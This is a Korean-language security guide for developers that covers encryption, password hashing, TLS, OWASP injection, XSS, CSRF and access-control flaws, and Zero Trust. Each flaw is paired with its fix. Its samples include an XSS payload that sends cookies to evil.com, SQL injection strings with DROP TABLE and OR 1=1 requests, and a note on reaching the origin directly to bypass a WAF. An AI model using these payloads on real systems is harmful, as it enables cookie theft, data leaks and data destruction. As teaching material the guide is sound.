개발자를 위한 보안 완전 가이드 — 암호화부터 Zero Trust까지

OWASP Top 10:2025 (2026-08-16 확인)

A01:2025  Broken Access Control
A02:2025  Security Misconfiguration
A03:2025  Software Supply Chain Failures
A04:2025  Cryptographic Failures
A05:2025  Injection
A06:2025  Insecure Design
A07:2025  Authentication Failures
A08:2025  Software or Data Integrity Failures
A09:2025  Security Logging & Alerting Failures
A10:2025  Mishandling of Exceptional Conditions

from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# === Fernet (간단한 대칭키) ===
key = Fernet.generate_key()
f = Fernet(key)

plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext  # ✅

# === AES-256-GCM (실무 표준) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12)  # 96-bit nonce (매번 새로!)

# 암호화 + 인증 (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata")  # 복호화 + 무결성 검증

대칭키: 같은 키로 암호화/복호화
장점: 빠름 (AES-256: ~1 GB/s)
단점: 키 전달 문제 (어떻게 안전하게 키를 공유?)
용도: 데이터 암호화, 디스크 암호화, TLS 데이터 전송

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

# 키 쌍 생성
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048
)
public_key = private_key.public_key()

# 암호화 (공개키로)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)

# 복호화 (개인키로)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
))
assert plaintext == message  # ✅

비대칭키: 공개키(암호화) + 개인키(복호화)
장점: 키 교환 문제 해결 (공개키는 공개해도 OK)
단점: 느림 (RSA: ~1 KB/s, AES 대비 1000x 느림)
용도: TLS 키 교환, 전자 서명, SSH 인증

import hashlib
import bcrypt

# ❌ 절대 하면 안 되는 것: 평문 저장
password = "mypassword123"

# ❌ 단순 해시 (레인보우 테이블 공격에 취약)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()

# ✅ bcrypt (솔트 + 느린 해싱 = 안전!)
salt = bcrypt.gensalt(rounds=12)  # 솔트 생성 (2^12 반복)
hashed = bcrypt.hashpw(password.encode(), salt)

# 검증
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"비밀번호 일치: {is_valid}")  # True

# bcrypt가 안전한 이유:
# 1. 솔트: 같은 비밀번호도 다른 해시 → 레인보우 테이블 무력화
# 2. 느림: 의도적으로 느려서 브루트포스 방어 (GPU 공격 방어)
# 3. rounds 조절: 하드웨어 발전에 맞춰 난이도 증가

[Client]                          [Server]
    │                                │
    │── ClientHello ────────────────▶│  지원 암호 스위트 목록
    │                                │
    │◀── ServerHello + 인증서 ───────│  선택된 암호 + 서버 인증서
    │                                │
    │  서버 인증서 검증 (CA 체인)      │
    │                                │
    │── Key Exchange ───────────────▶│  ECDHE 공개값
    │◀── Key Exchange ───────────────│  서버 ECDHE 공개값
    │                                │
    ╔════════════════════════════════╗
    ║  양쪽 모두 같은 대칭키 도출!     ║
    ║  (Diffie-Hellman)              ║
    ╚════════════════════════════════╝
    │                                │
    │◄══ AES-256-GCM 암호화 통신 ══▶│

# ❌ 위험한 코드
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → 테이블 삭제!

# ✅ 파라미터 바인딩 (Prepared Statement)
cursor.execute(
    "SELECT * FROM users WHERE username = %s",
    (username,)  # 입력을 데이터로만 취급, SQL로 해석 안 함
)

# ✅ ORM 사용 (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()

# ❌ 위험한 코드 (사용자 입력을 그대로 출력)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'

# HTML에 그대로 삽입하면:
html = f"<div>{comment}</div>"
# → 쿠키 탈취!

# ✅ HTML 이스케이프
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → &lt;script&gt;... (실행 안 됨)

# ✅ CSP (Content Security Policy) 헤더
# Content-Security-Policy: script-src 'self'; object-src 'none';

# 공격: 사용자가 로그인 상태에서 악성 사이트 방문
# 악성 사이트에 숨겨진 폼이 자동으로 은행 이체 요청!

# ✅ CSRF 토큰 방어
from flask import Flask, session
import secrets

app = Flask(__name__)

@app.route('/transfer', methods=['POST'])
def transfer():
    # 토큰 검증
    if request.form['csrf_token'] != session['csrf_token']:
        abort(403)  # CSRF 공격 차단!

    # 정상 처리
    process_transfer(request.form)

# ✅ SameSite 쿠키
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly

# ❌ IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
    return User.query.get(user_id).to_dict()
    # user_id를 바꾸면 다른 사람 정보 조회 가능!

# ✅ 권한 검증 추가
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
    if current_user.id != int(user_id) and not current_user.is_admin:
        abort(403)  # 권한 없음!
    return User.query.get(user_id).to_dict()

# ORDER BY 자리는 바인딩할 수 없다 → 허용 목록으로 매핑한다
SORT_COLUMNS = {
    "created": "created_at",
    "amount": "total_amount",
    "status": "status",
}
SORT_DIRECTIONS = {"asc": "ASC", "desc": "DESC"}


def list_orders(customer_id: str, sort: str, direction: str):
    # 사용자 입력은 키로만 쓰인다. 값은 우리가 쓴 상수다.
    column = SORT_COLUMNS.get(sort)
    order = SORT_DIRECTIONS.get(direction)
    if column is None or order is None:
        raise ValueError("정렬 조건이 올바르지 않습니다")

    # 값 자리는 바인딩, 식별자 자리는 허용 목록에서 온 상수
    sql = f"SELECT * FROM orders WHERE customer_id = %s ORDER BY {column} {order}"
    cursor.execute(sql, (customer_id,))
    return cursor.fetchall()

HTML 본문       HTML 엔티티 인코딩
                & → &amp;   < → &lt;   > → &gt;   " → &quot;   ' → &#x27;

HTML 속성       모든 문자를 &#xHH; 형식으로 인코딩 (공백 포함)
                HH 는 해당 문자의 유니코드 16진수 값

JavaScript      모든 문자를 \uXXXX 유니코드 형식으로 인코딩
                XXXX 는 유니코드 코드 포인트의 16진수 값

URL             W3C 명세의 표준 퍼센트 인코딩으로 파라미터 값을 인코딩

CSS             \XX 와 \XXXXXX 두 형식을 지원 (공백 또는 0 패딩 고려)

# 서버가 내려주는 쿠키 (심층 방어 계층)
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly

# SameSite=None 을 쓰려면 Secure 가 필수 (명세가 그렇게 규정)
Set-Cookie: session=abc; SameSite=None; Secure; HttpOnly

# 실제 CSRF 방어는 여기 (커스텀 헤더 + 서버 측 검증)
POST /transfer HTTP/1.1
X-CSRF-Token: 8f2c...   ← 자바스크립트가 넣는다. 교차 출처에서는 붙일 수 없다

# 1순위: Argon2id
#   최소 구성 — 메모리 19 MiB, 반복 횟수(iteration) 2, 병렬성(parallelism) 1
#   문서가 제시하는 동등한 보안 수준의 대안 조합:
#     m=47104 (46 MiB), t=1, p=1
#     m=19456 (19 MiB), t=2, p=1
#     m=12288 (12 MiB), t=3, p=1
#     m=9216  ( 9 MiB), t=4, p=1
#     m=7168  ( 7 MiB), t=5, p=1

# 2순위: scrypt (Argon2id를 쓸 수 없을 때)
#   최소 CPU/메모리 비용 파라미터 2^17, 최소 블록 크기 8 (1024바이트), 병렬화 1

# 레거시 시스템: bcrypt
#   work factor 10 이상, 비밀번호 길이 제한 72바이트

# FIPS-140 준수가 필요할 때: PBKDF2
#   work factor 600,000 이상, 내부 해시 함수는 HMAC-SHA-256

# ❌ 취약한 버전 — Flask + psycopg2
@app.route("/api/orders")
@login_required
def search_orders():
    q = request.args.get("q", "")
    sort = request.args.get("sort", "created_at")

    sql = (
        "SELECT id, customer_id, total_amount, status, created_at "
        "FROM orders "
        f"WHERE customer_id = '{current_user.id}' AND memo LIKE '%{q}%' "
        f"ORDER BY {sort} DESC LIMIT 50"
    )
    cursor.execute(sql)
    return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])

GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<본인의 정상 세션>

# 디코딩하면 q = %' OR 1=1 --
# 서버가 만드는 SQL:
#   ... WHERE customer_id = 'u-1042' AND memo LIKE '%%' OR 1=1 -- %' ORDER BY ...
# AND 보다 OR 가 뒤에 붙으면서 조건 전체가 참이 된다

HTTP/1.1 200 OK
Content-Type: application/json

[{"id":"o-1","customer_id":"u-0001", ...},   ← 남의 주문
 {"id":"o-2","customer_id":"u-0002", ...},
 ... 50건 ...]

# ✅ 수정한 버전
SORT_COLUMNS = {
    "created": "created_at",
    "amount": "total_amount",
    "status": "status",
}


@app.route("/api/orders")
@login_required
def search_orders():
    q = request.args.get("q", "")
    sort_key = request.args.get("sort", "created")

    column = SORT_COLUMNS.get(sort_key)
    if column is None:
        return jsonify({"error": "unsupported sort key"}), 400

    sql = (
        "SELECT id, customer_id, total_amount, status, created_at "
        "FROM orders "
        "WHERE customer_id = %s AND memo LIKE %s "
        f"ORDER BY {column} DESC LIMIT 50"
    )
    # customer_id 는 요청이 아니라 세션에서 가져온다 (A01 대응)
    cursor.execute(sql, (current_user.id, f"%{q}%"))
    return jsonify([dict(zip(COLUMNS, row)) for row in cursor.fetchall()])

GET /api/orders?q=%25%27%20OR%201%3D1%20--%20 HTTP/1.1
Host: shop.example.com
Cookie: session=<본인의 정상 세션>

HTTP/1.1 200 OK
Content-Type: application/json

[]
# 페이로드 전체가 LIKE 패턴 문자열로만 취급된다.
# "%' OR 1=1 --" 라는 문자열이 memo 에 들어 있는 주문이 없으므로 빈 배열.

GET /api/orders?sort=created_at;DROP%20TABLE%20orders HTTP/1.1

HTTP/1.1 400 Bad Request
{"error":"unsupported sort key"}
# 허용 목록에 없는 키는 SQL 근처에도 가지 않는다.

전통 보안: "성벽 안은 안전" (Castle & Moat)
  [인터넷] ──[방화벽]── [내부 네트워크: 모두 신뢰]
  → 내부 침입 시 무방비!

Zero Trust: "아무도 믿지 않는다"
  [모든 요청] → [인증] → [인가] → [암호화] → [모니터링]
  → 내부든 외부든 매번 검증!

1. Verify Explicitly (명시적 검증)
   → 모든 요청에 인증 + 인가 (위치/네트워크 무관)

2. Least Privilege (최소 권한)
   → 필요한 것만, 필요한 시간만 접근 허용
   → JIT (Just-In-Time) 권한 부여

3. Assume Breach (침해 가정)
   → 이미 뚫렸다고 가정하고 설계
   → 마이크로 세그멘테이션, 암호화, 모니터링

# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: api-policy
spec:
  podSelector:
    matchLabels:
      app: api-server
  policyTypes:
    - Ingress
    - Egress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app: frontend # 프론트엔드에서만 접근 허용
      ports:
        - port: 8080
  egress:
    - to:
        - podSelector:
            matchLabels:
              app: database # DB에만 접근 허용
      ports:
        - port: 5432
  # 나머지 모든 트래픽: 차단!

[인증/인가]
✅ bcrypt/Argon2로 비밀번호 해싱 (SHA256 단독 사용 금지)
✅ JWT 서명 검증 + 만료 시간 설정
✅ OAuth 2.0 PKCE (SPA/모바일)
✅ MFA (다중 인증) 도입
✅ Rate Limiting (브루트포스 방어)

[입력 검증]
✅ SQL Injection: Prepared Statement / ORM
✅ XSS: HTML 이스케이프 + CSP 헤더
✅ CSRF: SameSite 쿠키 + CSRF 토큰
✅ Path Traversal: 파일명 검증
✅ SSRF: 내부 IP 차단

[통신/저장]
✅ HTTPS 필수 (TLS 1.3)
✅ HSTS 헤더
✅ 민감 데이터 암호화 (AES-256-GCM)
✅ 시크릿 관리: Vault / AWS Secrets Manager
✅ 로그에 비밀번호/토큰 절대 기록 금지

[인프라]
✅ Zero Trust 네트워크
✅ 컨테이너 이미지 스캔 (Trivy)
✅ 의존성 취약점 스캔 (Dependabot)
✅ WAF (Web Application Firewall)
✅ 침입 탐지/모니터링

# 1) WAF 를 지나는 경로
GET /api/orders?q=...  HTTP/1.1
Host: shop.example.com               → 403 (차단됨)

# 2) 오리진에 직접 (내부망, 스테이징 도메인, 관리자 호스트 등)
GET /api/orders?q=...  HTTP/1.1
Host: origin-1.internal:8080         → 200 (그대로 취약)

# 두 응답이 다르면, 막고 있던 것은 "그 경로를 지나는 요청" 뿐이고
# 취약점 자체는 코드에 남아 있다는 뜻이다.

-- 중복 해시가 나오면 솔트가 비밀번호마다 고유하지 않다는 신호
SELECT password_hash, COUNT(*) AS accounts
FROM   users
GROUP  BY password_hash
HAVING COUNT(*) > 1
ORDER  BY accounts DESC
LIMIT  20;

# 검증 시 알고리즘을 고정하고, 폐기 목록을 함께 확인한다
import jwt   # PyJWT

def verify(token: str) -> dict:
    claims = jwt.decode(
        token,
        PUBLIC_KEY,
        algorithms=["RS256"],      # 토큰의 alg 헤더를 믿지 않는다
        options={"require": ["exp", "jti", "sub"]},
    )
    if revoked_store.contains(claims["jti"]):   # 폐기 목록 조회
        raise PermissionError("revoked token")
    return claims


def logout(token_claims: dict) -> None:
    # 남은 유효기간 동안만 보관하면 되므로 저장소가 무한정 커지지 않는다
    ttl = token_claims["exp"] - int(time.time())
    revoked_store.add(token_claims["jti"], ttl_seconds=max(ttl, 0))